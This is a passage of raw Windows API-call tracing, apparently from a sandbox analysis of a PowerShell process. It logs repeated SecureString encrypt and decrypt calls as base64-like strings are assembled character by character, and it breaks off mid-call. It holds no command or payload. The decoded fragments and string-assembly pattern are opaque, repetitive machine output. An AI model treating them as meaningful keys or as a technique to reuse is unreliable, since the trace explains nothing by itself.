Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.179] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icy裠셌菆") returned 0x20 [0130.179] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.179] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xa184\x127b\xd92f\x1ccc\x5e0f\x9022\xe8cd\x81dd") returned 0x20 [0130.179] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xa184\x127b\xd92f\x1ccc\x5e0f\x9022\xe8cd\x81dd") returned 0x20 [0130.179] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.179] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ셌菆") returned 0x20 [0130.179] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.179] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xa04f\x6e91\x88aa\xfc67\x1508\xf43d\xb745\x3e58") returned 0x20 [0130.179] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xa04f\x6e91\x88aa\xfc67\x1508\xf43d\xb745\x3e58") returned 0x20 [0130.179] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.179] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0菆") returned 0x20 [0130.179] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x3365\x5b96\xd362\xcc88\xed8\x6068\x45bd\xd749") returned 0x20 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x3365\x5b96\xd362\xcc88\xed8\x6068\x45bd\xd749") returned 0x20 [0130.180] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.180] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0k") returned 0x20 [0130.180] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5") returned 0x20 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5") returned 0x20 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5") returned 0x20 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x184e") returned 0x28 [0130.180] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.180] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kb嚉뜶舻瑽ﲽ䥋ᰗ") returned 0x28 [0130.180] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x8b59\x70c7\x7546\x5534\x6aa2\xc904\xf27e\xc2") returned 0x28 [0130.180] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x8b59\x70c7\x7546\x5534\x6aa2\xc904\xf27e\xc2") returned 0x28 [0130.180] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.180] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbn뜶舻瑽ﲽ䥋ᰗ") returned 0x28 [0130.181] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x3f77\x9039\xc953\x587b\xe497\x112b\x1990\x17a2") returned 0x28 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x3f77\x9039\xc953\x587b\xe497\x112b\x1990\x17a2") returned 0x28 [0130.181] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.181] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnk舻瑽ﲽ䥋ᰗ") returned 0x28 [0130.181] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x8c80\xfed3\xc907\xdf6d\xcc34\x75f8\xeb67\x5826") returned 0x28 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x8c80\xfed3\xc907\xdf6d\xcc34\x75f8\xeb67\x5826") returned 0x28 [0130.181] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.181] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnki瑽ﲽ䥋ᰗ") returned 0x28 [0130.181] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x2f95\x1bed\xce4c\xf28\xaef3\xc115\x283f\x97fc") returned 0x28 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x2f95\x1bed\xce4c\xf28\xaef3\xc115\x283f\x97fc") returned 0x28 [0130.181] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.181] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOﲽ䥋ᰗ") returned 0x28 [0130.181] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xf7d9\x3e78\x7632\xfddd\x606b\x7fbe\xf92b\xff8b") returned 0x28 [0130.181] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xf7d9\x3e78\x7632\xfddd\x606b\x7fbe\xf92b\xff8b") returned 0x28 [0130.182] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.182] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOo䥋ᰗ") returned 0x28 [0130.182] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.182] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x46fb\xd4b2\x982e\x74fe\x2177\xd4c1\xa08\x50d") returned 0x28 [0130.182] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x46fb\xd4b2\x982e\x74fe\x2177\xd4c1\xa08\x50d") returned 0x28 [0130.182] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.182] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOo5ᰗ") returned 0x28 [0130.182] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.182] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x1f10\xdf2d\xa38d\xb5a1\x597c\x749d\x7435\x3bac") returned 0x28 [0130.182] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\x1f10\xdf2d\xa38d\xb5a1\x597c\x749d\x7435\x3bac") returned 0x28 [0130.182] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.182] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOo57") returned 0x28 [0130.182] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.182] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b") returned 0x28 [0130.182] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b") returned 0x28 [0130.182] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b") returned 0x28 [0130.183] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b\x6b\x2e\x6d\x70\x33\x2e\x6c\x6f") returned 0x30 [0130.183] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.183] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOo57s⼠鬲滟쐀᱿") returned 0x30 [0130.183] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.183] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b\xfe18\xee57\x8b12\xe9a8\x3c6d\xc1e0\x5d0\x89d6") returned 0x30 [0130.183] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b\xfe18\xee57\x8b12\xe9a8\x3c6d\xc1e0\x5d0\x89d6") returned 0x30 [0130.183] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.183] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOo57sj鬲滟쐀᱿") returned 0x30 [0130.183] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.183] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b\xef53\x77b8\x6e61\xb172\x6679\xdd4b\xc151\xe204") returned 0x30 [0130.183] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b\xef53\x77b8\x6e61\xb172\x6679\xdd4b\xc151\xe204") returned 0x30 [0130.183] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.183] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOo57sjQ滟쐀᱿") returned 0x30 [0130.183] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.183] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b\xbe6f\xaba8\x3a6e\x63d1\xa859\x670a\xfed4\x883f") returned 0x30 [0130.183] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xdf5d\x6c33\x422f\x12e2\x3fce\x2354\x5e8a\x8fd5\xd218\x8883\x7ea0\x1dcf\x3944\x3ce4\x2419\x4c8b\xbe6f\xaba8\x3a6e\x63d1\xa859\x670a\xfed4\x883f") returned 0x30 [0130.183] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.184] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3icyJ0kbnkiOo57sjQ=쐀᱿") returned 0x30 [0130.184] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0130.184] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.184] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.184] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.184] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0130.184] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.184] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.184] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.185] SysStringLen (param_1="") returned 0x8 [0130.185] SysStringLen (param_1="Y") returned 0x8 [0130.185] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.185] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.185] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.185] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.185] SysStringLen (param_1="YW") returned 0x8 [0130.185] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.185] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.185] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.185] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.185] SysStringLen (param_1="YWM") returned 0x8 [0130.185] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.185] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.185] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.185] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="YWM1") returned 0x8 [0130.186] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.186] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.186] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="YWM1O") returned 0x8 [0130.186] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.186] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.186] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="YWM1OT") returned 0x8 [0130.186] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.186] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.186] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="YWM1OTE") returned 0x8 [0130.186] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.186] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.186] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.186] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.187] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0130.187] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.187] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.187] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.187] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.187] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0130.187] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.187] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0130.187] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.187] SysStringLen 